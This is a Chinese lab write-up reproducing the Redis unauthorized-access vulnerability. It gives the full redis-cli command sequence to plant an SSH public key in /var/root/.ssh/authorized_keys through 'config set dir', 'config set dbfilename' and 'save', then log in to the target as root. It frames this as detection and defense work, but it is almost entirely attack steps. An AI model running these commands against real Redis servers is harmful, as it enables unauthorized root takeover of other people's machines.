漏洞检测与防御:Redis未授权访问漏洞复现

简介: 漏洞检测与防御:Redis未授权访问漏洞复现

漏洞检测与防御:Redis未授权访问漏洞复现

  1. 未授权访问漏洞
    未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS 、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等,使用时要注意。本文复现Redis未授权访问漏洞。

1.1 Redis未授权访问漏洞
Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相似,支持存储的value类型有很多种,其中包括String(字符串)、List(链表)、Set(集合)、Zset(有序集合)、Hash(哈希)等。Redis还支持不同的排序方式。Redis为了保证效率,将数据缓存在内存中,周期性地更新数据写入磁盘或者把修改操作写入追加的记录文件中,在此基础上实现了master-slaver(主从)同步。对Redis配置不当将会导致未授权访问漏洞,从而被攻击者恶意利用。在特定条件下,如果Redis以Root身份运行,攻击者可以用root权限的身份写入SSH公钥文件,通过SSH登录目标服务器,继而导致服务器权限被获取、泄漏或者发生加密勒索事件。

1.2 实验运行环境
靶 机:

OS: macOS Monterey Version 12.3.1(英文版)

Redis-Server: Redis 6.2.6

如下图:

image.png

攻击机:

OS:Linux kali Release 2021.3

Redis客户端: redis-cli 6.0.16

如下图:

image.png

1.3 SSH漏洞利用
1.3.1 与靶机(mac OS)Redis建立连接,在攻击机系统输入如下命令:

┌──(root💀kali)-[~/.ssh]
└─# redis-cli -h 192.168.68.242                                                                                                                                                                                                          
192.168.68.242:6379> info
AI 代码解读

运行结果如下图:
image.png

1.3.2 在攻击机(ka li)上生成密钥auth_key,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ssh-keygen -t rsa             # 本例生成个空密码(没密码)
AI 代码解读

运行结果如下图:
image.png

1.3.3 在目录/root/.ssh下查看生成结果,并将公钥导入auth_key.txt文件中,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ls     
┌──(root💀kali)-[~/.ssh]
└─# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > auth_key.txt
AI 代码解读

运行结果如下图:

image.png

查看一下生成的公钥文件,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# cat auth_key.txt
AI 代码解读

运行结果如下图:
image.png

1.3.4 将auth_key.txt中的公钥导入靶机(macOS)缓存中,命令如下:

┌──(root💀kali)-[~/.ssh]
└─# cat auth_key.txt | redis-cli -h 192.168.68.242 -x set xxx
AI 代码解读

运行结果如下图:
image.png

1.3.5 在攻击机(kali)端执行如下命令,查看靶机(macOS)缓存的公钥文件xxx,命令如下:

192.168.68.242:6379> keys *
192.168.68.242:6379> get xxx
AI 代码解读

运行结果如下图:

image.png

1.3.6 更改配置文件路径为靶机(macOS)的目录/var/root/.ssh,设定文件名称为authorized_keys,然后保存。命令如下:

192.168.68.242:6379> config set dir /var/root/.ssh
OK
192.168.68.242:6379> config set dbfilename authorized_keys
OK
192.168.68.242:6379> save
OK
192.168.68.242:6379>
AI 代码解读

1.3.7 在攻击机(kali)上通过SSH协议连接到靶机(macOS),命令如下:

┌──(root💀kali)-[~/.ssh]
└─# ssh 192.168.68.242
AI 代码解读

运行结果如下图:

image.png

登录成功

目录
打赏
0
0
0
0
220
分享
相关文章
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
109 0
|
5月前
|
Redis 缓存穿透的检测方法与分析
【10月更文挑战第23天】通过以上对 Redis 缓存穿透检测方法的深入探讨,我们对如何及时发现和处理这一问题有了更全面的认识。在实际应用中,我们需要综合运用多种检测手段,并结合业务场景和实际情况进行分析,以确保能够准确、及时地检测到缓存穿透现象,并采取有效的措施加以解决。同时,要不断优化和改进检测方法,提高检测的准确性和效率,为系统的稳定运行提供有力保障。
109 5
【赵渝强老师】Redis的安装与访问
本文基于Redis 6.2版本,详细介绍了在CentOS 7 64位虚拟机环境中部署Redis的步骤。内容包括安装GCC编译器、创建安装目录、解压安装包、编译安装、配置文件修改、启动服务及验证等操作。视频讲解和相关图片帮助理解每一步骤。
112 0
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis】Azure Redis添加了内部虚拟网络后,其他区域的主机通过虚拟网络对等互连访问失败
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】在Azure Redis中,如何限制只允许Azure App Service访问?
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】C#程序是否有对应的方式来优化并缩短由于 Redis 维护造成的不可访问的时间
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】Azure Redis加入VNET后,在另一个区域(如中国东部二区)的VNET无法访问Redis服务(注:两个VNET已经结对,相互之间可以互ping)
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
【Azure Redis 缓存】如何使得Azure Redis可以仅从内网访问? Config 及 Timeout参数配置
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
126 0

热门文章

最新文章

下一篇
oss创建bucket
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等